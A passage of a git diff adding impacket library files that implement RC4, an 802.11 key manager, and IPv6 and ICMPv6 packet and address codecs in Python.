+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   IEEE 802.11 Network packet codecs.
+#
+# Author:
+#   Gustavo Moreira
+#
+
+class RC4():
+    def __init__(self, key):
+        bkey = bytearray(key)
+        j = 0
+        self.state = bytearray(range(256))
+        for i in range(256):
+            j = (j + self.state[i] + bkey[i % len(key)]) & 0xff
+            self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j)
+
+    def encrypt(self, data):
+        i = j = 0
+        out=bytearray()
+        for char in bytearray(data):
+            i = (i+1) & 0xff
+            j = (j+self.state[i]) & 0xff
+            self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j)
+            out.append(char ^ self.state[(self.state[i] + self.state[j]) & 0xff])
+        
+        return bytes(out)
+    
+    def decrypt(self, data):
+        # It's symmetric
+        return self.encrypt(data)
diff --git a/impacket/Dot11KeyManager.py b/impacket/Dot11KeyManager.py
new file mode 100644
index 0000000..53515c4
--- /dev/null
+++ b/impacket/Dot11KeyManager.py
@@ -0,0 +1,56 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   IEEE 802.11 Network packet codecs.
+#
+# Author:
+#   Gustavo Moreira
+
+from array import array
+class KeyManager:
+    def __init__(self):
+        self.keys = {}
+        
+    def __get_bssid_hasheable_type(self, bssid):
+        # List is an unhashable type
+        if not isinstance(bssid, (list,tuple,array)):
+            raise Exception('BSSID datatype must be a tuple, list or array')
+        return tuple(bssid) 
+
+    def add_key(self, bssid, key):
+        bssid=self.__get_bssid_hasheable_type(bssid)
+        if bssid not in self.keys:
+            self.keys[bssid] = key
+            return True
+        else:
+            return False
+        
+    def replace_key(self, bssid, key):
+        bssid=self.__get_bssid_hasheable_type(bssid)
+        self.keys[bssid] = key
+        
+        return True
+        
+    def get_key(self, bssid):
+        bssid=self.__get_bssid_hasheable_type(bssid)
+        if bssid in self.keys:
+            return self.keys[bssid]
+        else:
+            return False
+        
+    def delete_key(self, bssid):
+        bssid=self.__get_bssid_hasheable_type(bssid)
+        if not isinstance(bssid, list):
+            raise Exception('BSSID datatype must be a list')
+        
+        if bssid in self.keys:
+            del self.keys[bssid] 
+            return True
+        
+        return False
diff --git a/impacket/ICMP6.py b/impacket/ICMP6.py
new file mode 100644
index 0000000..fc7e7d8
--- /dev/null
+++ b/impacket/ICMP6.py
@@ -0,0 +1,528 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+
+import array
+import struct
+
+from impacket.ImpactPacket import Header, Data, array_tobytes
+from impacket.IP6_Address import IP6_Address
+
+
+class ICMP6(Header):    
+    #IP Protocol number for ICMP6
+    IP_PROTOCOL_NUMBER = 58
+    protocol = IP_PROTOCOL_NUMBER   #ImpactDecoder uses the constant "protocol" as the IP Protocol Number
+    
+    #Size of ICMP6 header (excluding payload)
+    HEADER_SIZE = 4
+
+    #ICMP6 Message Type numbers
+    DESTINATION_UNREACHABLE = 1
+    PACKET_TOO_BIG = 2
+    TIME_EXCEEDED = 3
+    PARAMETER_PROBLEM = 4    
+    ECHO_REQUEST = 128
+    ECHO_REPLY = 129
+    ROUTER_SOLICITATION = 133
+    ROUTER_ADVERTISEMENT = 134
+    NEIGHBOR_SOLICITATION = 135
+    NEIGHBOR_ADVERTISEMENT = 136
+    REDIRECT_MESSAGE = 137
+    NODE_INFORMATION_QUERY = 139
+    NODE_INFORMATION_REPLY = 140
+    
+    #Destination Unreachable codes
+    NO_ROUTE_TO_DESTINATION = 0
+    ADMINISTRATIVELY_PROHIBITED = 1
+    BEYOND_SCOPE_OF_SOURCE_ADDRESS = 2
+    ADDRESS_UNREACHABLE = 3
+    PORT_UNREACHABLE = 4
+    SOURCE_ADDRESS_FAILED_INGRESS_EGRESS_POLICY = 5
+    REJECT_ROUTE_TO_DESTINATION = 6
+    
+    #Time Exceeded codes
+    HOP_LIMIT_EXCEEDED_IN_TRANSIT = 0
+    FRAGMENT_REASSEMBLY_TIME_EXCEEDED = 1
+    
+    #Parameter problem codes
+    ERRONEOUS_HEADER_FIELD_ENCOUNTERED = 0
+    UNRECOGNIZED_NEXT_HEADER_TYPE_ENCOUNTERED = 1
+    UNRECOGNIZED_IPV6_OPTION_ENCOUNTERED = 2
+    
+    #Node Information codes
+    NODE_INFORMATION_QUERY_IPV6 = 0
+    NODE_INFORMATION_QUERY_NAME_OR_EMPTY = 1
+    NODE_INFORMATION_QUERY_IPV4 = 2
+    NODE_INFORMATION_REPLY_SUCCESS = 0
+    NODE_INFORMATION_REPLY_REFUSED = 1
+    NODE_INFORMATION_REPLY_UNKNOWN_QTYPE = 2
+    
+    #Node Information qtypes
+    NODE_INFORMATION_QTYPE_NOOP = 0
+    NODE_INFORMATION_QTYPE_UNUSED = 1
+    NODE_INFORMATION_QTYPE_NODENAME = 2
+    NODE_INFORMATION_QTYPE_NODEADDRS = 3
+    NODE_INFORMATION_QTYPE_IPv4ADDRS = 4
+    
+    #ICMP Message semantic types (error or informational)    
+    ERROR_MESSAGE = 0
+    INFORMATIONAL_MESSAGE = 1
+    
+    #ICMP message dictionary - specifying text descriptions and valid message codes
+    #Key: ICMP message number
+    #Data: Tuple ( Message Type (error/informational), Text description, Codes dictionary (can be None) )
+    #Codes dictionary
+    #Key: Code number
+    #Data: Text description
+    
+    #ICMP message dictionary tuple indexes
+    MSG_TYPE_INDEX = 0
+    DESCRIPTION_INDEX = 1
+    CODES_INDEX = 2
+
+    icmp_messages = {
+                     DESTINATION_UNREACHABLE : (ERROR_MESSAGE, "Destination unreachable",
+                                                { NO_ROUTE_TO_DESTINATION : "No route to destination",
+                                                  ADMINISTRATIVELY_PROHIBITED : "Administratively prohibited",
+                                                  BEYOND_SCOPE_OF_SOURCE_ADDRESS : "Beyond scope of source address",
+                                                  ADDRESS_UNREACHABLE : "Address unreachable",
+                                                  PORT_UNREACHABLE : "Port unreachable",
+                                                  SOURCE_ADDRESS_FAILED_INGRESS_EGRESS_POLICY : "Source address failed ingress/egress policy",
+                                                  REJECT_ROUTE_TO_DESTINATION : "Reject route to destination"
+                                                  }),
+                     PACKET_TOO_BIG : (ERROR_MESSAGE, "Packet too big", None),
+                     TIME_EXCEEDED : (ERROR_MESSAGE, "Time exceeded",
+                                        {HOP_LIMIT_EXCEEDED_IN_TRANSIT : "Hop limit exceeded in transit",
+                                        FRAGMENT_REASSEMBLY_TIME_EXCEEDED : "Fragment reassembly time exceeded"                                      
+                                       }),
+                     PARAMETER_PROBLEM : (ERROR_MESSAGE, "Parameter problem",
+                                          {
+                                           ERRONEOUS_HEADER_FIELD_ENCOUNTERED : "Erroneous header field encountered",
+                                           UNRECOGNIZED_NEXT_HEADER_TYPE_ENCOUNTERED : "Unrecognized Next Header type encountered",
+                                           UNRECOGNIZED_IPV6_OPTION_ENCOUNTERED : "Unrecognized IPv6 Option Encountered"
+                                           }),
+                     ECHO_REQUEST : (INFORMATIONAL_MESSAGE, "Echo request", None),
+                     ECHO_REPLY : (INFORMATIONAL_MESSAGE, "Echo reply", None),
+                     ROUTER_SOLICITATION : (INFORMATIONAL_MESSAGE, "Router Solicitation", None),
+                     ROUTER_ADVERTISEMENT : (INFORMATIONAL_MESSAGE, "Router Advertisement", None),
+                     NEIGHBOR_SOLICITATION : (INFORMATIONAL_MESSAGE, "Neighbor Solicitation", None),
+                     NEIGHBOR_ADVERTISEMENT : (INFORMATIONAL_MESSAGE, "Neighbor Advertisement", None),
+                     REDIRECT_MESSAGE : (INFORMATIONAL_MESSAGE, "Redirect Message", None),
+                     NODE_INFORMATION_QUERY: (INFORMATIONAL_MESSAGE, "Node Information Query", None),
+                     NODE_INFORMATION_REPLY: (INFORMATIONAL_MESSAGE, "Node Information Reply", None),
+                    } 
+    
+    
+    
+    
+############################################################################
+    def __init__(self, buffer = None):
+        Header.__init__(self, self.HEADER_SIZE)
+        if (buffer):
+            self.load_header(buffer)
+    
+    def get_header_size(self):
+        return self.HEADER_SIZE
+    
+    def get_ip_protocol_number(self):
+        return self.IP_PROTOCOL_NUMBER
+
+    def __str__(self):        
+        type = self.get_type()
+        code = self.get_code()
+        checksum = self.get_checksum()
+
+        s = "ICMP6 - Type: " + str(type) + " - "  + self.__get_message_description() + "\n"
+        s += "Code: " + str(code)
+        if (self.__get_code_description() != ""):
+            s += " - " + self.__get_code_description()
+        s += "\n"
+        s += "Checksum: " + str(checksum) + "\n"
+        return s
+    
+    def __get_message_description(self):
+        return self.icmp_messages[self.get_type()][self.DESCRIPTION_INDEX]
+    
+    def __get_code_description(self):
+        code_dictionary = self.icmp_messages[self.get_type()][self.CODES_INDEX]
+        if (code_dictionary is None):
+            return ""
+        else:
+            return code_dictionary[self.get_code()]
+    
+############################################################################
+    def get_type(self):        
+        return (self.get_byte(0))
+    
+    def get_code(self):
+        return (self.get_byte(1))
+    
+    def get_checksum(self):
+        return (self.get_word(2))
+    
+############################################################################
+    def set_type(self, type):
+        self.set_byte(0, type)
+    
+    def set_code(self, code):
+        self.set_byte(1, code)
+    
+    def set_checksum(self, checksum):
+        self.set_word(2, checksum)
+    
+############################################################################
+    def calculate_checksum(self):        
+        #Initialize the checksum value to 0 to yield a correct calculation
+        self.set_checksum(0)        
+        #Fetch the pseudo header from the IP6 parent packet
+        pseudo_header = self.parent().get_pseudo_header()
+        #Fetch the ICMP data
+        icmp_header = self.get_bytes()
+        #Build an array of bytes concatenating the pseudo_header, the ICMP header and the ICMP data (if present)
+        checksum_array = array.array('B')
+        checksum_array.extend(pseudo_header)
+        checksum_array.extend(icmp_header)
+        if (self.child()):
+            checksum_array.extend(self.child().get_bytes())
+            
+        #Compute the checksum over that array
+        self.set_checksum(self.compute_checksum(checksum_array))
+        
+    def is_informational_message(self):
+        return self.icmp_messages[self.get_type()][self.MSG_TYPE_INDEX] == self.INFORMATIONAL_MESSAGE
+        
+    def is_error_message(self):
+        return self.icmp_messages[self.get_type()][self.MSG_TYPE_INDEX] == self.ERROR_MESSAGE
+    
+    def is_well_formed(self):
+        well_formed = True
+        
+        #Check that the message type is known
+        well_formed &= self.get_type() in self.icmp_messages.keys()
+        
+        #Check that the code is known (zero, if there are no codes defined)
+        code_dictionary = self.icmp_messages[self.get_type()][self.CODES_INDEX]
+        if (code_dictionary is None):
+            well_formed &= self.get_code() == 0
+        else:            
+            well_formed &= self.get_code() in code_dictionary.keys()
+            
+        return well_formed 
+        
+############################################################################
+
+    @classmethod
+    def Echo_Request(class_object, id, sequence_number, arbitrary_data = None):
+        return class_object.__build_echo_message(ICMP6.ECHO_REQUEST, id, sequence_number, arbitrary_data)
+    
+    @classmethod
+    def Echo_Reply(class_object, id, sequence_number, arbitrary_data = None):
+        return class_object.__build_echo_message(ICMP6.ECHO_REPLY, id, sequence_number, arbitrary_data)
+    
+    @classmethod
+    def __build_echo_message(class_object, type, id, sequence_number, arbitrary_data):
+        #Build ICMP6 header
+        icmp_packet = ICMP6()
+        icmp_packet.set_type(type)
+        icmp_packet.set_code(0)
+        
+        #Pack ICMP payload
+        icmp_bytes = struct.pack('>H', id)
+        icmp_bytes += struct.pack('>H', sequence_number)
+        if (arbitrary_data is not None):
+            icmp_bytes += array_tobytes(array.array('B', arbitrary_data))
+        icmp_payload = Data()
+        icmp_payload.set_data(icmp_bytes)
+        
+        #Link payload to header
+        icmp_packet.contains(icmp_payload)
+        
+        return icmp_packet
+    
+    
+############################################################################
+    @classmethod
+    def Destination_Unreachable(class_object, code, originating_packet_data = None):
+        unused_bytes = [0x00, 0x00, 0x00, 0x00]
+        return class_object.__build_error_message(ICMP6.DESTINATION_UNREACHABLE, code, unused_bytes, originating_packet_data)
+
+    @classmethod
+    def Packet_Too_Big(class_object, MTU, originating_packet_data = None):
+        MTU_bytes = struct.pack('!L', MTU)
+        return class_object.__build_error_message(ICMP6.PACKET_TOO_BIG, 0, MTU_bytes, originating_packet_data)
+    
+    @classmethod
+    def Time_Exceeded(class_object, code, originating_packet_data = None):
+        unused_bytes = [0x00, 0x00, 0x00, 0x00]
+        return class_object.__build_error_message(ICMP6.TIME_EXCEEDED, code, unused_bytes, originating_packet_data)
+
+    @classmethod
+    def Parameter_Problem(class_object, code, pointer, originating_packet_data = None):
+        pointer_bytes = struct.pack('!L', pointer)
+        return class_object.__build_error_message(ICMP6.PARAMETER_PROBLEM, code, pointer_bytes, originating_packet_data)
+    
+    @classmethod    
+    def __build_error_message(class_object, type, code, data, originating_packet_data):
+        #Build ICMP6 header
+        icmp_packet = ICMP6()
+        icmp_packet.set_type(type)
+        icmp_packet.set_code(code)
+        
+        #Pack ICMP payload
+        icmp_bytes = array_tobytes(array.array('B', data))
+        if (originating_packet_data is not None):
+            icmp_bytes += array_tobytes(array.array('B', originating_packet_data))
+        icmp_payload = Data()
+        icmp_payload.set_data(icmp_bytes)
+        
+        #Link payload to header
+        icmp_packet.contains(icmp_payload)
+        
+        return icmp_packet
+
+############################################################################
+
+    @classmethod
+    def Neighbor_Solicitation(class_object, target_address):
+        return class_object.__build_neighbor_message(ICMP6.NEIGHBOR_SOLICITATION, target_address)
+    
+    @classmethod
+    def Neighbor_Advertisement(class_object, target_address):
+        return class_object.__build_neighbor_message(ICMP6.NEIGHBOR_ADVERTISEMENT, target_address)
+
+    @classmethod
+    def __build_neighbor_message(class_object, msg_type, target_address):
+        #Build ICMP6 header
+        icmp_packet = ICMP6()
+        icmp_packet.set_type(msg_type)
+        icmp_packet.set_code(0)
+        
+        # Flags + Reserved
+        icmp_bytes = array_tobytes(array.array('B', [0x00] * 4))
+        
+        # Target Address: The IP address of the target of the solicitation.
+        # It MUST NOT be a multicast address.
+        icmp_bytes += array_tobytes(array.array('B', IP6_Address(target_address).as_bytes()))
+        
+        icmp_payload = Data()
+        icmp_payload.set_data(icmp_bytes)
+        
+        #Link payload to header
+        icmp_packet.contains(icmp_payload)
+        
+        return icmp_packet
+
+############################################################################
+
+    def get_target_address(self):
+        return IP6_Address(self.child().get_bytes()[4:20])
+
+    def set_target_address(self, target_address):
+        address = IP6_Address(target_address)
+        payload_bytes = self.child().get_bytes()
+        payload_bytes[4:20] = address.get_bytes()
+        self.child().set_bytes(payload_bytes)
+
+    #  0 1 2 3 4 5 6 7 
+    # +-+-+-+-+-+-+-+-+
+    # |R|S|O|reserved |
+    # +-+-+-+-+-+-+-+-+
+
+    def get_neighbor_advertisement_flags(self):
+        return self.child().get_byte(0)
+
+    def set_neighbor_advertisement_flags(self, flags):
+        self.child().set_byte(0, flags)
+
+    def get_router_flag(self):
+        return (self.get_neighbor_advertisement_flags() & 0x80) != 0
+    
+    def set_router_flag(self, flag_value):
+        curr_flags = self.get_neighbor_advertisement_flags()
+        if flag_value:
+            curr_flags |= 0x80
+        else:
+            curr_flags &= ~0x80
+        self.set_neighbor_advertisement_flags(curr_flags)
+    
+    def get_solicited_flag(self):
+        return (self.get_neighbor_advertisement_flags() & 0x40) != 0
+    
+    def set_solicited_flag(self, flag_value):
+        curr_flags = self.get_neighbor_advertisement_flags()
+        if flag_value:
+            curr_flags |= 0x40
+        else:
+            curr_flags &= ~0x40
+        self.set_neighbor_advertisement_flags(curr_flags)
+    
+    def get_override_flag(self):
+        return (self.get_neighbor_advertisement_flags() & 0x20) != 0
+    
+    def set_override_flag(self, flag_value):
+        curr_flags = self.get_neighbor_advertisement_flags()
+        if flag_value:
+            curr_flags |= 0x20
+        else:
+            curr_flags &= ~0x20
+        self.set_neighbor_advertisement_flags(curr_flags)
+
+############################################################################
+    @classmethod
+    def Node_Information_Query(class_object, code, payload = None):
+        return class_object.__build_node_information_message(ICMP6.NODE_INFORMATION_QUERY, code, payload)
+
+    @classmethod
+    def Node_Information_Reply(class_object, code, payload = None):
+        return class_object.__build_node_information_message(ICMP6.NODE_INFORMATION_REPLY, code, payload)
+        
+    @classmethod
+    def __build_node_information_message(class_object, type, code, payload = None):
+        #Build ICMP6 header
+        icmp_packet = ICMP6()
+        icmp_packet.set_type(type)
+        icmp_packet.set_code(code)
+        
+        #Pack ICMP payload
+        qtype = 0
+        flags = 0
+        nonce = [0x00] * 8
+        
+        icmp_bytes = struct.pack('>H', qtype)
+        icmp_bytes += struct.pack('>H', flags)
+        icmp_bytes += array_tobytes(array.array('B', nonce))
+        
+        if payload is not None:
+            icmp_bytes += array_tobytes(array.array('B', payload))
+        
+        icmp_payload = Data()
+        icmp_payload.set_data(icmp_bytes)
+        
+        #Link payload to header
+        icmp_packet.contains(icmp_payload)
+
+        return icmp_packet
+    
+    def get_qtype(self):
+        return self.child().get_word(0)
+
+    def set_qtype(self, qtype):
+        self.child().set_word(0, qtype)
+
+    def get_nonce(self):
+        return self.child().get_bytes()[4:12]
+
+    def set_nonce(self, nonce):
+        payload_bytes = self.child().get_bytes()
+        payload_bytes[4:12] = array.array('B', nonce)
+        self.child().set_bytes(payload_bytes)
+
+    #  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
+    # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+    # |      unused       |G|S|L|C|A|T|
+    # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
+
+    def get_flags(self):
+        return self.child().get_word(2)
+
+    def set_flags(self, flags):
+        self.child().set_word(2, flags)
+
+    def get_flag_T(self):
+        return (self.get_flags() & 0x0001) != 0
+    
+    def set_flag_T(self, flag_value):
+        curr_flags = self.get_flags()
+        if flag_value:
+            curr_flags |= 0x0001
+        else:
+            curr_flags &= ~0x0001
+        self.set_flags(curr_flags)
+        
+    def get_flag_A(self):
+        return (self.get_flags() & 0x0002) != 0
+    
+    def set_flag_A(self, flag_value):
+        curr_flags = self.get_flags()
+        if flag_value:
+            curr_flags |= 0x0002
+        else:
+            curr_flags &= ~0x0002
+        self.set_flags(curr_flags)
+
+    def get_flag_C(self):
+        return (self.get_flags() & 0x0004) != 0
+    
+    def set_flag_C(self, flag_value):
+        curr_flags = self.get_flags()
+        if flag_value:
+            curr_flags |= 0x0004
+        else:
+            curr_flags &= ~0x0004
+        self.set_flags(curr_flags)
+
+    def get_flag_L(self):
+        return (self.get_flags() & 0x0008) != 0
+    
+    def set_flag_L(self, flag_value):
+        curr_flags = self.get_flags()
+        if flag_value:
+            curr_flags |= 0x0008
+        else:
+            curr_flags &= ~0x0008
+        self.set_flags(curr_flags)
+
+    def get_flag_S(self):
+        return (self.get_flags() & 0x0010) != 0
+    
+    def set_flag_S(self, flag_value):
+        curr_flags = self.get_flags()
+        if flag_value:
+            curr_flags |= 0x0010
+        else:
+            curr_flags &= ~0x0010
+        self.set_flags(curr_flags)
+
+    def get_flag_G(self):
+        return (self.get_flags() & 0x0020) != 0
+    
+    def set_flag_G(self, flag_value):
+        curr_flags = self.get_flags()
+        if flag_value:
+            curr_flags |= 0x0020
+        else:
+            curr_flags &= ~0x0020
+        self.set_flags(curr_flags)
+
+    def set_node_information_data(self, data):
+        payload_bytes = self.child().get_bytes()
+        payload_bytes[12:] = array.array('B', data)
+        self.child().set_bytes(payload_bytes)
+
+    def get_note_information_data(self):
+        return self.child().get_bytes()[12:]
+
+############################################################################
+    def get_echo_id(self):
+        return self.child().get_word(0)
+    
+    def get_echo_sequence_number(self):
+        return self.child().get_word(2)
+    
+    def get_echo_arbitrary_data(self):
+        return self.child().get_bytes()[4:]
+    
+    def get_mtu(self):
+        return self.child().get_long(0)
+        
+    def get_parm_problem_pointer(self):
+        return self.child().get_long(0)
+        
+    def get_originating_packet_data(self):
+        return self.child().get_bytes()[4:]
diff --git a/impacket/IP6.py b/impacket/IP6.py
new file mode 100644
index 0000000..7feeb31
--- /dev/null
+++ b/impacket/IP6.py
@@ -0,0 +1,191 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+
+import struct
+import array
+
+from impacket.ImpactPacket import Header, array_frombytes
+from impacket.IP6_Address import IP6_Address
+from impacket.IP6_Extension_Headers import IP6_Extension_Header
+
+from impacket import LOG
+
+
+class IP6(Header):
+    #Ethertype value for IPv6
+    ethertype = 0x86DD
+    HEADER_SIZE = 40
+    IP_PROTOCOL_VERSION = 6
+    
+    def __init__(self, buffer = None):
+        Header.__init__(self, IP6.HEADER_SIZE)
+        self.set_ip_v(IP6.IP_PROTOCOL_VERSION)
+        if (buffer):
+            self.load_header(buffer)
+
+    def contains(self, aHeader):
+        Header.contains(self, aHeader)
+        if isinstance(aHeader, IP6_Extension_Header):
+            self.set_next_header(aHeader.get_header_type())
+
+    def get_header_size(self):
+        return IP6.HEADER_SIZE
+
+    def __str__(self):        
+        protocol_version = self.get_ip_v()
+        traffic_class = self.get_traffic_class()
+        flow_label = self.get_flow_label()
+        payload_length = self.get_payload_length()
+        next_header = self.get_next_header()
+        hop_limit = self.get_hop_limit()
+        source_address = self.get_ip_src()
+        destination_address = self.get_ip_dst()
+
+        s = "Protocol version: " + str(protocol_version) + "\n"
+        s += "Traffic class: " + str(traffic_class) + "\n"
+        s += "Flow label: " + str(flow_label) + "\n"
+        s += "Payload length: " + str(payload_length) + "\n"
+        s += "Next header: " + str(next_header) + "\n"
+        s += "Hop limit: " + str(hop_limit) + "\n"
+        s += "Source address: " + source_address.as_string() + "\n"
+        s += "Destination address: " + destination_address.as_string() + "\n"
+        return s
+    
+    def get_pseudo_header(self):
+        source_address = self.get_ip_src().as_bytes()
+        #FIXME - Handle Routing header special case
+        destination_address = self.get_ip_dst().as_bytes()
+        reserved_bytes = [ 0x00, 0x00, 0x00 ]
+
+        upper_layer_packet_length = self.get_payload_length()
+        upper_layer_protocol_number = self.get_next_header()
+        
+        next_header = self.child()
+        while isinstance(next_header, IP6_Extension_Header):
+            # The length used in the pseudo-header is the Payload Length from the IPv6 header, minus
+            # the length of any extension headers present between the IPv6 header and the upper-layer header
+            upper_layer_packet_length -= next_header.get_header_size()
+            
+            # If there are extension headers, fetch the correct upper-player protocol number by traversing the list
+            upper_layer_protocol_number = next_header.get_next_header()
+            
+            next_header = next_header.child()
+        
+        pseudo_header = array.array('B')        
+        pseudo_header.extend(source_address)
+        pseudo_header.extend(destination_address)
+        array_frombytes(pseudo_header, struct.pack('!L', upper_layer_packet_length))
+        pseudo_header.fromlist(reserved_bytes)
+        array_frombytes(pseudo_header, struct.pack('B', upper_layer_protocol_number))
+        return pseudo_header
+    
+############################################################################
+    def get_ip_v(self):
+        return (self.get_byte(0) & 0xF0) >> 4
+
+    def get_traffic_class(self):
+        return ((self.get_byte(0) & 0x0F) << 4) | ((self.get_byte(1) & 0xF0) >> 4)
+
+    def get_flow_label(self):
+        return (self.get_byte(1) & 0x0F) << 16 | (self.get_byte(2) << 8) | self.get_byte(3)
+
+    def get_payload_length(self):
+        return (self.get_byte(4) << 8) | self.get_byte(5)
+
+    def get_next_header(self):
+        return (self.get_byte(6))
+
+    def get_hop_limit(self):
+        return (self.get_byte(7))
+
+    def get_ip_src(self):
+        address = IP6_Address(self.get_bytes()[8:24])
+        return (address)    
+
+    def get_ip_dst(self):
+        address = IP6_Address(self.get_bytes()[24:40])
+        return (address)    
+
+############################################################################
+    def set_ip_v(self, version):
+        if (version != 6):
+            raise Exception('set_ip_v - version != 6')
+    
+        #Fetch byte, clear high nibble
+        b = self.get_byte(0) & 0x0F
+        #Store version number in high nibble
+        b |= (version << 4)
+        #Store byte in buffer
+        #This behaviour is repeated in the rest of the methods 
+        self.set_byte(0, b)
+
+
+    def set_traffic_class(self, traffic_class):
+        b0 = self.get_byte(0) & 0xF0
+        b1 = self.get_byte(1) & 0x0F
+        b0 |= (traffic_class & 0xF0) >> 4
+        b1 |= (traffic_class & 0x0F) << 4
+        self.set_byte(0, b0)
+        self.set_byte(1, b1)
+    
+
+    def set_flow_label(self, flow_label):
+        b1 = self.get_byte(1) & 0xF0
+        b1 |= (flow_label & 0xF0000) >> 16
+        self.set_byte(1, b1)
+        self.set_byte(2, (flow_label & 0x0FF00) >> 8)
+        self.set_byte(3, (flow_label & 0x000FF))
+ 
+
+    def set_payload_length(self, payload_length):
+        self.set_byte(4, (payload_length & 0xFF00) >> 8)
+        self.set_byte(5, (payload_length & 0x00FF))
+    
+
+    def set_next_header(self, next_header):
+        self.set_byte(6, next_header)
+    
+    def set_hop_limit(self, hop_limit):
+        self.set_byte(7, hop_limit)
+    
+    def set_ip_src(self, source_address):
+        address = IP6_Address(source_address)
+        bytes = self.get_bytes()
+        bytes[8:24] = address.as_bytes()
+        self.set_bytes(bytes)
+
+    def set_ip_dst(self, destination_address):
+        address = IP6_Address(destination_address)
+        bytes = self.get_bytes()
+        bytes[24:40] = address.as_bytes()
+        self.set_bytes(bytes)
+        
+    def get_protocol_version(self):
+        LOG.warning('deprecated soon')
+        return self.get_ip_v()    
+    
+    def get_source_address(self):
+        LOG.warning('deprecated soon')
+        return self.get_ip_src()
+    
+    def get_destination_address(self):
+        LOG.warning('deprecated soon')
+        return self.get_ip_dst()
+    
+    def set_protocol_version(self, version):
+        LOG.warning('deprecated soon')
+        self.set_ip_v(version)
+    
+    def set_source_address(self, source_address):
+        LOG.warning('deprecated soon')
+        self.set_ip_src(source_address)
+    
+    def set_destination_address(self, destination_address):
+        LOG.warning('deprecated soon')
+        self.set_ip_dst(destination_address)
diff --git a/impacket/IP6_Address.py b/impacket/IP6_Address.py
new file mode 100644
index 0000000..127f77a
--- /dev/null
+++ b/impacket/IP6_Address.py
@@ -0,0 +1,251 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+
+import array
+from six import string_types
+
+class IP6_Address:
+    ADDRESS_BYTE_SIZE = 16
+    #A Hex Group is a 16-bit unit of the address
+    TOTAL_HEX_GROUPS = 8
+    HEX_GROUP_SIZE = 4 #Size in characters
+    TOTAL_SEPARATORS = TOTAL_HEX_GROUPS - 1
+    ADDRESS_TEXT_SIZE = (TOTAL_HEX_GROUPS * HEX_GROUP_SIZE) + TOTAL_SEPARATORS
+    SEPARATOR = ":"
+    SCOPE_SEPARATOR = "%"
+    
+#############################################################################################################
+# Constructor and construction helpers
+
+    def __init__(self, address):
+        #The internal representation of an IP6 address is a 16-byte array
+        self.__bytes = array.array('B', b'\0' * self.ADDRESS_BYTE_SIZE)
+        self.__scope_id = ""
+
+        #Invoke a constructor based on the type of the argument
+        if isinstance(address, string_types):
+            self.__from_string(address)
+        else:
+            self.__from_bytes(address)
+
+
+    def __from_string(self, address):
+        #Separate the Scope ID, if present
+        if self.__is_a_scoped_address(address):
+            split_parts = address.split(self.SCOPE_SEPARATOR)
+            address = split_parts[0]
+            if split_parts[1] == "":
+                raise Exception("Empty scope ID")
+            self.__scope_id = split_parts[1]
+        
+        #Expand address if it's in compressed form
+        if self.__is_address_in_compressed_form(address):
+            address = self.__expand_compressed_address(address)
+            
+        #Insert leading zeroes where needed        
+        address = self.__insert_leading_zeroes(address)
+        
+        #Sanity check
+        if len(address) != self.ADDRESS_TEXT_SIZE:
+            raise Exception('IP6_Address - from_string - address size != ' + str(self.ADDRESS_TEXT_SIZE))
+    
+        #Split address into hex groups
+        hex_groups = address.split(self.SEPARATOR)
+        if len(hex_groups) != self.TOTAL_HEX_GROUPS:
+            raise Exception('IP6_Address - parsed hex groups != ' + str(self.TOTAL_HEX_GROUPS))
+
+        #For each hex group, convert it into integer words
+        offset = 0
+        for group in hex_groups:
+            if len(group) != self.HEX_GROUP_SIZE:
+                raise Exception('IP6_Address - parsed hex group length != ' + str(self.HEX_GROUP_SIZE))
+            
+            group_as_int = int(group, 16)
+            self.__bytes[offset]     = (group_as_int & 0xFF00) >> 8
+            self.__bytes[offset + 1] = (group_as_int & 0x00FF) 
+            offset += 2            
+
+    def __from_bytes(self, theBytes):
+        if len(theBytes) != self.ADDRESS_BYTE_SIZE:
+            raise Exception ("IP6_Address - from_bytes - array size != " + str(self.ADDRESS_BYTE_SIZE))
+        self.__bytes = theBytes
+
+#############################################################################################################
+# Projectors
+    def as_string(self, compress_address = True, scoped_address = True):
+        s = ""
+        for i, v in enumerate(self.__bytes):
+            s += hex(v)[2:].rjust(2, '0')
+            if i % 2 == 1:
+                s += self.SEPARATOR
+        s = s[:-1].upper()
+        
+        if compress_address:
+            s = self.__trim_leading_zeroes(s)
+            s = self.__trim_longest_zero_chain(s)
+            
+        if scoped_address and self.get_scope_id() != "":
+            s += self.SCOPE_SEPARATOR + self.__scope_id
+        return s
+                
+    def as_bytes(self):
+        return self.__bytes
+    
+    def __str__(self):
+        return self.as_string()
+    
+    def get_scope_id(self):
+        return self.__scope_id
+    
+    def get_unscoped_address(self):
+        return self.as_string(True, False) #Compressed address = True, Scoped address = False
+        
+#############################################################################################################
+# Semantic helpers
+    def is_multicast(self):
+        return self.__bytes[0] == 0xFF
+    
+    def is_unicast(self):
+        return self.__bytes[0] == 0xFE
+    
+    def is_link_local_unicast(self):
+        return self.is_unicast() and (self.__bytes[1] & 0xC0 == 0x80)
+    
+    def is_site_local_unicast(self):
+        return self.is_unicast() and (self.__bytes[1] & 0xC0 == 0xC0)
+    
